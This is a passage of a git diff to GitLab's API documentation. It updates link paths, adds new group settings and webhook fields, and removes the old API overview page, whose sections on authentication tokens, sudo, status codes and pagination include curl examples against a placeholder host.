@@ Parameters: | Attribute | Type | Required | Description | | ------------------------ | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only). | | `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) | @@ -871,8 +871,8 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the target group](index.md#namespaced-path-encoding) | -| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the target group](rest/index.md#namespaced-path-encoding) | +| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ @@ -891,7 +891,7 @@ GET /groups/:id/transfer_locations | Attribute | Type | Required | Description | |-------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the group to be transferred](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the group to be transferred](rest/index.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | The group names to search for. | Example request: @@ -993,6 +993,7 @@ PUT /groups/:id | `unique_project_download_limit` **(ULTIMATE)** | integer | no | Maximum number of unique projects a user can download in the specified time period before they are banned. Available only on top-level groups. Default: 0, Maximum: 10,000. | | `unique_project_download_limit_interval_in_seconds` **(ULTIMATE)** | integer | no | Time period during which a user can download a maximum amount of projects before they are banned. Available only on top-level groups. Default: 0, Maximum: 864,000 seconds (10 days). | | `unique_project_download_limit_allowlist` **(ULTIMATE)** | array of strings | no | List of usernames excluded from the unique project download limit. Available only on top-level groups. Default: `[]`, Maximum: 100 usernames. | +| `unique_project_download_limit_alertlist` **(ULTIMATE)** | array of integers | no | List of user IDs that are emailed when the unique project download limit is exceeded. Available only on top-level groups. Default: `[]`, Maximum: 100 user IDs. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110201) in GitLab 15.9. | | `auto_ban_user_on_excessive_projects_download` **(ULTIMATE)** | boolean | no | When enabled, users are automatically banned from the group when they download more than the maximum number of unique projects specified by `unique_project_download_limit` and `unique_project_download_limit_interval_in_seconds`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/94159) in GitLab 15.4. | | `ip_restriction_ranges` **(PREMIUM)** | string | no | Comma-separated list of IP addresses or subnet masks to restrict group access. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/351493) in GitLab 15.4. | @@ -1135,6 +1136,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab > - Immediately deleting subgroups was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/360008) in GitLab 15.3 [with a flag](../administration/feature_flags.md) named `immediate_delete_subgroup_api`. Disabled by default. > - Immediately deleting subgroups was [enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/368276) in GitLab 15.4. > - Immediately deleting subgroups was [enabled](https://gitlab.com/gitlab-org/gitlab/-/issues/368276) by default in GitLab 15.4. +> - The flag `immediate_delete_subgroup_api` for immediately deleting subgroups was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/374069) in GitLab 15.9. Only available to group owners and administrators. @@ -1152,7 +1154,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------------|------------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `permanently_remove` **(PREMIUM)** | boolean/string | no | Immediately deletes a subgroup if it is marked for deletion. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/368276) in GitLab 15.4 | | `full_path` **(PREMIUM)** | string | no | Full path of subgroup to use with `permanently_remove`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/368276) in GitLab 15.4. To find the subgroup path, see the [group details](groups.md#details-of-a-group) | @@ -1175,7 +1177,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | ## Search for group @@ -1200,7 +1202,8 @@ GET /groups?search=foobar > Introduced in GitLab 14.8. -Get a list of users provisioned by a given group. Does not include users provisioned by subgroups. +Get a list of users provisioned by a given group. Does not include subgroups. +Users in this list are considered [enterprise users](../user/enterprise_user/index.md). Requires at least the Maintainer role on the group. @@ -1212,7 +1215,7 @@ Parameters: | Attribute | Type | Required | Description | |:-----------------|:---------------|:---------|:-------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `username` | string | no | Return single user with a specific username | | `search` | string | no | Search users by name, email, username | | `active` | boolean | no | Return only active users | @@ -1284,7 +1287,7 @@ GET /groups/:id/hooks | Attribute | Type | Required | Description | | --------- | --------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | ### Get group hook @@ -1292,7 +1295,7 @@ Get a specific hook for a group. | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `hook_id` | integer | yes | The ID of a group hook | ```plaintext @@ -1319,6 +1322,10 @@ GET /groups/:id/hooks/:hook_id "releases_events": true, "subgroup_events": true, "enable_ssl_verification": true, + "repository_update_events": false, + "alert_status": "executable", + "disabled_until": null, + "url_variables": [ ], "created_at": "2012-10-12T17:04:47Z" } ``` @@ -1333,7 +1340,7 @@ POST /groups/:id/hooks | Attribute | Type | Required | Description | | -----------------------------| -------------- |----------| ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `url` | string | yes | The hook URL | | `push_events` | boolean | no | Trigger hook on push events | | `push_events_branch_filter` | string | No | Trigger hook on push events for matching branches only. | @@ -1362,7 +1369,7 @@ PUT /groups/:id/hooks/:hook_id | Attribute | Type | Required | Description | | ---------------------------- | -------------- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | | `hook_id` | integer | yes | The ID of the group hook. | | `url` | string | yes | The hook URL. | | `push_events` | boolean | no | Trigger hook on push events. | @@ -1393,7 +1400,7 @@ DELETE /groups/:id/hooks/:hook_id | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `hook_id` | integer | yes | The ID of the group hook. | ## Group Audit Events **(PREMIUM)** @@ -1430,7 +1437,7 @@ GET /groups/:id/ldap_group_links | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | ### Add LDAP group link with CN or filter **(PREMIUM SELF)** @@ -1442,7 +1449,7 @@ POST /groups/:id/ldap_group_links | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `cn` | string | no | The CN of an LDAP group | | `filter` | string | no | The LDAP filter for the group | | `group_access` | integer | yes | [Role (`access_level`)](members.md#roles) for members of the LDAP group | @@ -1461,7 +1468,7 @@ DELETE /groups/:id/ldap_group_links/:cn | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `cn` | string | yes | The CN of an LDAP group | Deletes an LDAP group link for a specific LDAP provider. Deprecated. Scheduled for removal in a future release. @@ -1472,7 +1479,7 @@ DELETE /groups/:id/ldap_group_links/:provider/:cn | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `cn` | string | yes | The CN of an LDAP group | | `provider` | string | yes | LDAP provider for the LDAP group link | @@ -1486,7 +1493,7 @@ DELETE /groups/:id/ldap_group_links | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `cn` | string | no | The CN of an LDAP group | | `filter` | string | no | The LDAP filter for the group | | `provider` | string | yes | LDAP provider for the LDAP group link | @@ -1513,9 +1520,9 @@ Supported attributes: | Attribute | Type | Required | Description | |:----------|:---------------|:---------|:-------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | -If successful, returns [`200`](index.md#status-codes) and the following response attributes: +If successful, returns [`200`](rest/index.md#status-codes) and the following response attributes: | Attribute | Type | Description | |:-------------------|:--------|:-----------------------------------------------------------------------------| @@ -1555,10 +1562,10 @@ Supported attributes: | Attribute | Type | Required | Description | |:-------------------|:---------------|:---------|:-------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `saml_group_name` | string | yes | Name of an SAML group | -If successful, returns [`200`](index.md#status-codes) and the following response attributes: +If successful, returns [`200`](rest/index.md#status-codes) and the following response attributes: | Attribute | Type | Description | |:---------------|:--------|:-----------------------------------------------------------------------------| @@ -1592,11 +1599,11 @@ Supported attributes: | Attribute | Type | Required | Description | |:-------------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `saml_group_name` | string | yes | Name of a SAML group | | `access_level` | integer | yes | [Role (`access_level`)](members.md#roles) for members of the SAML group | -If successful, returns [`201`](index.md#status-codes) and the following response attributes: +If successful, returns [`201`](rest/index.md#status-codes) and the following response attributes: | Attribute | Type | Description | |:---------------|:--------|:-----------------------------------------------------------------------------| @@ -1630,10 +1637,10 @@ Supported attributes: | Attribute | Type | Required | Description | |:-------------------|:---------------|:---------|:-------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `saml_group_name` | string | yes | Name of a SAML group | -If successful, returns [`204`](index.md#status-codes) status code without any response body. +If successful, returns [`204`](rest/index.md#status-codes) status code without any response body. Example request: @@ -1681,7 +1688,7 @@ POST /groups/:id/share | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `group_id` | integer | yes | The ID of the group to share with | | `group_access` | integer | yes | The [role (`access_level`)](members.md#roles) to grant the group | | `expires_at` | string | no | Share expiration date in ISO 8601 format: 2016-09-26 | @@ -1696,7 +1703,7 @@ DELETE /groups/:id/share/:group_id | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `group_id` | integer | yes | The ID of the group to share with | ## Push Rules **(PREMIUM)** @@ -1715,7 +1722,7 @@ GET /groups/:id/push_rule | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID of the group or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID of the group or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | ```json { @@ -1758,7 +1765,7 @@ POST /groups/:id/push_rule | Attribute | Type | Required | Description | | --------------------------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `deny_delete_tag` | boolean | no | Deny deleting a tag | | `member_check` | boolean | no | Allows only GitLab users to author commits | | `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | @@ -1805,7 +1812,7 @@ PUT /groups/:id/push_rule | Attribute | Type | Required | Description | | --------------------------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `deny_delete_tag` | boolean | no | Deny deleting a tag | | `member_check` | boolean | no | Restricts commits to be authored by existing GitLab users only | | `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | @@ -1852,4 +1859,4 @@ DELETE /groups/:id/push_rule | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | diff --git a/doc/api/import.md b/doc/api/import.md index 67ee7bc60a1..5e9fbf30226 100644 --- a/doc/api/import.md +++ b/doc/api/import.md @@ -12,7 +12,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w Import your projects from GitHub to GitLab using the API. -The namespace set in `target_namespace` must exist. The namespace can be your user namespace or an existing group that you have at least the Developer role for. +The namespace set in `target_namespace` must exist. The namespace can be your user namespace or an existing group that +you have at least the Maintainer role for. Using the Developer role for this purpose was +[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. ```plaintext POST /import/github diff --git a/doc/api/index.md b/doc/api/index.md index 8075b667a67..110534ceced 100644 --- a/doc/api/index.md +++ b/doc/api/index.md @@ -4,812 +4,14 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# API Docs **(FREE)** +# Develop with GitLab **(FREE)** -Use the GitLab APIs to automate GitLab. +Automate and interact with GitLab, and integrate with external applications. -## REST API - -A REST API is available in GitLab. -Usage instructions are below. - -For examples, see [How to use the API](#how-to-use-the-api). - -For a list of the available resources and their endpoints, see -[REST API resources](api_resources.md). - -You can also use a partial [OpenAPI definition](openapi/openapi_interactive.md), -to test the API directly from the GitLab user interface. -Contributions are welcome. - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an introduction and basic steps, see -[How to make GitLab API calls](https://www.youtube.com/watch?v=0LsMC3ZiXkA). - -## GraphQL API - -A GraphQL API is available in GitLab. -For a list of the available resources and their endpoints, see -[GraphQL API resources](graphql/reference/index.md). - -With GraphQL, you can make an API request for only what you need, -and it's versioned by default. - -GraphQL co-exists with the current v4 REST API. If we have a v5 API, this should -be a compatibility layer on top of GraphQL. - -There were some patenting and licensing concerns with GraphQL. However, these -have been resolved to our satisfaction. The reference implementations -were re-licensed under MIT, and the OWF license used for the GraphQL specification. - -## Compatibility guidelines - -The HTTP API is versioned with a single number, which is currently `4`. This number -symbolizes the major version number, as described by [SemVer](https://semver.org/). -Because of this, backward-incompatible changes require this version number to -change. - -The minor version isn't explicit, which allows for a stable API -endpoint. New features can be added to the API in the same -version number. - -New features and bug fixes are released in tandem with GitLab. Apart -from incidental patch and security releases, GitLab is released on the 22nd of each -month. Major API version changes, and removal of entire API versions, are done in tandem -with major GitLab releases. - -All deprecations and changes between versions are in the documentation. - -### Current status - -Only API version v4 is available. - -## How to use the API - -API requests must include both `api` and the API version. The API -version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/api/api.rb). -For example, the root of the v4 API is at `/api/v4`. - -### Valid API request - -The following is a basic example of a request to the fictional `gitlab.example.com` endpoint: - -```shell -curl "https://gitlab.example.com/api/v4/projects" -``` - -The API uses JSON to serialize data. You don't need to specify `.json` at the -end of the API URL. - -NOTE: -In the example above, replace `gitlab.example.com` with `gitlab.com` to query GitLab.com (GitLab SaaS). -Access can be denied due to authentication. For more information, see [Authentication](#authentication). - -### API request to expose HTTP response headers - -If you want to expose HTTP response headers, use the `--include` option: - -```shell -curl --include "https://gitlab.example.com/api/v4/projects" -HTTP/2 200 -... -``` - -This request can help you investigate an unexpected response. - -### API request that includes the exit code - -If you want to expose the HTTP exit code, include the `--fail` option: - -```shell -curl --fail "https://gitlab.example.com/api/v4/does-not-exist" -curl: (22) The requested URL returned error: 404 -``` - -The HTTP exit code can help you diagnose the success or failure of your REST request. - -## Authentication - -Most API requests require authentication, or only return public data when -authentication isn't provided. When authentication is not required, the documentation -for each endpoint specifies this. For example, the -[`/projects/:id` endpoint](projects.md#get-single-project) does not require authentication. - -There are several ways you can authenticate with the GitLab API: - -- [OAuth2 tokens](#oauth2-tokens) -- [Personal access tokens](../user/profile/personal_access_tokens.md) -- [Project access tokens](../user/project/settings/project_access_tokens.md) -- [Group access tokens](../user/group/settings/group_access_tokens.md) -- [Session cookie](#session-cookie) -- [GitLab CI/CD job token](../ci/jobs/ci_job_token.md) **(Specific endpoints only)** - -Project access tokens are supported by: - -- Self-managed GitLab Free and higher. -- GitLab SaaS Premium and higher. - -If you are an administrator, you or your application can authenticate as a specific user. -To do so, use: - -- [Impersonation tokens](#impersonation-tokens) -- [Sudo](#sudo) - -If authentication information is not valid or is missing, GitLab returns an error -message with a status code of `401`: - -```json -{ - "message": "401 Unauthorized" -} -``` - -NOTE: -Deploy tokens can't be used with the GitLab public API. For details, see -[Deploy Tokens](../user/project/deploy_tokens/index.md). - -### OAuth2 tokens - -You can use an [OAuth2 token](oauth2.md) to authenticate with the API by passing -it in either the `access_token` parameter or the `Authorization` header. - -Example of using the OAuth2 token in a parameter: - -```shell -curl "https://gitlab.example.com/api/v4/projects?access_token=OAUTH-TOKEN" -``` - -Example of using the OAuth2 token in a header: - -```shell -curl --header "Authorization: Bearer OAUTH-TOKEN" "https://gitlab.example.com/api/v4/projects" -``` - -Read more about [GitLab as an OAuth2 provider](oauth2.md). - -NOTE: -We recommend OAuth access tokens have an expiration. You can use the `refresh_token` parameter -to refresh tokens. Integrations may need to be updated to use refresh tokens prior to -expiration, which is based on the [`expires_in`](https://datatracker.ietf.org/doc/html/rfc6749#appendix-A.14) -property in the token endpoint response. See [OAuth2 token](oauth2.md) documentation -for examples requesting a new access token using a refresh token. - -A default refresh setting of two hours is tracked in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/336598). - -### Personal/project/group access tokens - -You can use access tokens to authenticate with the API by passing it in either -the `private_token` parameter or the `PRIVATE-TOKEN` header. - -Example of using the personal, project, or group access token in a parameter: - -```shell -curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>" -``` - -Example of using the personal, project, or group access token in a header: - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects" -``` - -You can also use personal, project, or group access tokens with OAuth-compliant headers: - -```shell -curl --header "Authorization: Bearer <your_access_token>" "https://gitlab.example.com/api/v4/projects" -``` - -### Session cookie - -Signing in to the main GitLab application sets a `_gitlab_session` cookie. The -API uses this cookie for authentication if it's present. Using the API to -generate a new session cookie isn't supported. - -The primary user of this authentication method is the web frontend of GitLab -itself. The web frontend can use the API as the authenticated user to get a -list of projects without explicitly passing an access token. - -### Impersonation tokens - -Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md). -They can be created only by an administrator, and are used to authenticate with the -API as a specific user. - -Use impersonation tokens as an alternative to: - -- The user's password or one of their personal access tokens. -- The [Sudo](#sudo) feature. The user's or administrator's password or token - may not be known, or may change over time. - -For more information, see the [users API](users.md#create-an-impersonation-token) -documentation. - -Impersonation tokens are used exactly like regular personal access tokens, and -can be passed in either the `private_token` parameter or the `PRIVATE-TOKEN` -header. - -#### Disable impersonation - -By default, impersonation is enabled. To disable impersonation: - -**For Omnibus installations** - -1. Edit the `/etc/gitlab/gitlab.rb` file: - - ```ruby - gitlab_rails['impersonation_enabled'] = false - ``` - -1. Save the file, and then [reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) - GitLab for the changes to take effect. - -To re-enable impersonation, remove this configuration, and then reconfigure -GitLab. - -**For installations from source** - -1. Edit the `config/gitlab.yml` file: - - ```yaml - gitlab: - impersonation_enabled: false - ``` - -1. Save the file, and then [restart](../administration/restart_gitlab.md#installations-from-source) - GitLab for the changes to take effect. - -To re-enable impersonation, remove this configuration, and then restart GitLab. - -### Sudo - -All API requests support performing an API request as if you were another user, -provided you're authenticated as an administrator with an OAuth or personal -access token that has the `sudo` scope. The API requests are executed with the -permissions of the impersonated user. - -As an [administrator](../user/permissions.md), pass the `sudo` parameter either -by using query string or a header with an ID or username (case insensitive) of -the user you want to perform the operation as. If passed as a header, the header -name must be `Sudo`. - -If a non administrative access token is provided, GitLab returns an error -message with a status code of `403`: - -```json -{ - "message": "403 Forbidden - Must be admin to use sudo" -} -``` - -If an access token without the `sudo` scope is provided, an error message is -returned with a status code of `403`: - -```json -{ - "error": "insufficient_scope", - "error_description": "The request requires higher privileges than provided by the access token.", - "scope": "sudo" -} -``` - -If the sudo user ID or username cannot be found, an error message is -returned with a status code of `404`: - -```json -{ - "message": "404 User with ID or username '123' Not Found" -} -``` - -Example of a valid API request and a request using cURL with sudo request, -providing a username: - -```plaintext -GET /projects?private_token=<your_access_token>&sudo=username -``` - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects" -``` - -Example of a valid API request and a request using cURL with sudo request, -providing an ID: - -```plaintext -GET /projects?private_token=<your_access_token>&sudo=23 -``` - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects" -``` - -## Status codes - -The API is designed to return different status codes according to context and -action. This way, if a request results in an error, you can get -insight into what went wrong. - -The following table gives an overview of how the API functions generally behave. - -| Request type | Description | -|---------------|-------------| -| `GET` | Access one or more resources and return the result as JSON. | -| `POST` | Return `201 Created` if the resource is successfully created and return the newly created resource as JSON. | -| `GET` / `PUT` | Return `200 OK` if the resource is accessed or modified successfully. The (modified) result is returned as JSON. | -| `DELETE` | Returns `204 No Content` if the resource was deleted successfully or `202 Accepted` if the resource is scheduled to be deleted. | - -The following table shows the possible return codes for API requests. - -| Return values | Description | -|--------------------------|-------------| -| `200 OK` | The `GET`, `PUT` or `DELETE` request was successful, and the resource itself is returned as JSON. | -| `202 Accepted` | The `GET`, `PUT` or `DELETE` request was successful, and the resource is scheduled for processing. | -| `204 No Content` | The server has successfully fulfilled the request, and there is no additional content to send in the response payload body. | -| `201 Created` | The `POST` request was successful, and the resource is returned as JSON. | -| `304 Not Modified` | The resource hasn't been modified since the last request. | -| `400 Bad Request` | A required attribute of the API request is missing. For example, the title of an issue is not given. | -| `401 Unauthorized` | The user isn't authenticated. A valid [user token](#authentication) is necessary. | -| `403 Forbidden` | The request isn't allowed. For example, the user isn't allowed to delete a project. | -| `404 Not Found` | A resource couldn't be accessed. For example, an ID for a resource couldn't be found. | -| `405 Method Not Allowed` | The request isn't supported. | -| `409 Conflict` | A conflicting resource already exists. For example, creating a project with a name that already exists. | -| `412` | The request was denied. This can happen if the `If-Unmodified-Since` header is provided when trying to delete a resource, which was modified in between. | -| `422 Unprocessable` | The entity couldn't be processed. | -| `429 Too Many Requests` | The user exceeded the [application rate limits](../administration/instance_limits.md#rate-limits). | -| `500 Server Error` | While handling the request, something went wrong on the server. | - -## Pagination - -GitLab supports the following pagination methods: - -- Offset-based pagination. This is the default method and is available on all endpoints. -- Keyset-based pagination. Added to selected endpoints but being - [progressively rolled out](https://gitlab.com/groups/gitlab-org/-/epics/2039). - -For large collections, for performance reasons we recommend keyset pagination -(when available) instead of offset pagination. - -### Offset-based pagination - -Sometimes, the returned result spans many pages. When listing resources, you can -pass the following parameters: - -| Parameter | Description | -|------------|-------------| -| `page` | Page number (default: `1`). | -| `per_page` | Number of items to list per page (default: `20`, max: `100`). | - -In the following example, we list 50 [namespaces](namespaces.md) per page: - -```shell -curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/namespaces?per_page=50" -``` - -NOTE: -There is a [max offset allowed limit](../administration/instance_limits.md#max-offset-allowed-by-the-rest-api-for-offset-based-pagination) for offset pagination. You can change the limit in self-managed instances. - -#### Pagination `Link` header - -[`Link` headers](https://www.w3.org/wiki/LinkHeader) are returned with each -response. They have `rel` set to `prev`, `next`, `first`, or `last` and contain -the relevant URL. Be sure to use these links instead of generating your own URLs. - -For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers). - -In the following cURL example, we limit the output to three items per page -(`per_page=3`) and we request the second page (`page=2`) of [comments](notes.md) -of the issue with ID `8` which belongs to the project with ID `9`: - -```shell -curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2" -``` - -The response is: - -```http -HTTP/2 200 OK -cache-control: no-cache -content-length: 1103 -content-type: application/json -date: Mon, 18 Jan 2016 09:43:18 GMT -link: <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="prev", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="next", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="first", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="last" -status: 200 OK -vary: Origin -x-next-page: 3 -x-page: 2 -x-per-page: 3 -x-prev-page: 1 -x-request-id: 732ad4ee-9870-4866-a199-a9db0cde3c86 -x-runtime: 0.108688 -x-total: 8 -x-total-pages: 3 -``` - -#### Other pagination headers - -GitLab also returns the following additional pagination headers: - -| Header | Description | -|-----------------|-------------| -| `x-next-page` | The index of the next page. | -| `x-page` | The index of the current page (starting at 1). | -| `x-per-page` | The number of items per page. | -| `x-prev-page` | The index of the previous page. | -| `x-total` | The total number of items. | -| `x-total-pages` | The total number of pages. | - -For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers). - -### Keyset-based pagination - -Keyset-pagination allows for more efficient retrieval of pages and - in contrast -to offset-based pagination - runtime is independent of the size of the -collection. - -This method is controlled by the following parameters. `order_by` and `sort` are both mandatory. - -| Parameter | Required | Description | -|--------------| ------------ | --------- | -| `pagination` | yes | `keyset` (to enable keyset pagination). | -| `per_page` | no | Number of items to list per page (default: `20`, max: `100`). | -| `order_by` | yes | Column by which to order by. | -| `sort` | yes | Sort order (`asc` or `desc`) | - -In the following example, we list 50 [projects](projects.md) per page, ordered -by `id` ascending. - -```shell -curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc" -``` - -The response header includes a link to the next page. For example: - -```http -HTTP/1.1 200 OK -... -Link: <https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc&id_after=42>; rel="next" -Status: 200 OK -... -``` - -The link to the next page contains an additional filter `id_after=42` that -excludes already-retrieved records. - -As another example, the following request lists 50 [groups](groups.md) per page ordered -by `name` ascending using keyset pagination: - -```shell -curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups?pagination=keyset&per_page=50&order_by=name&sort=asc" -``` - -The response header includes a link to the next page: - -```http -HTTP/1.1 200 OK -... -Link: 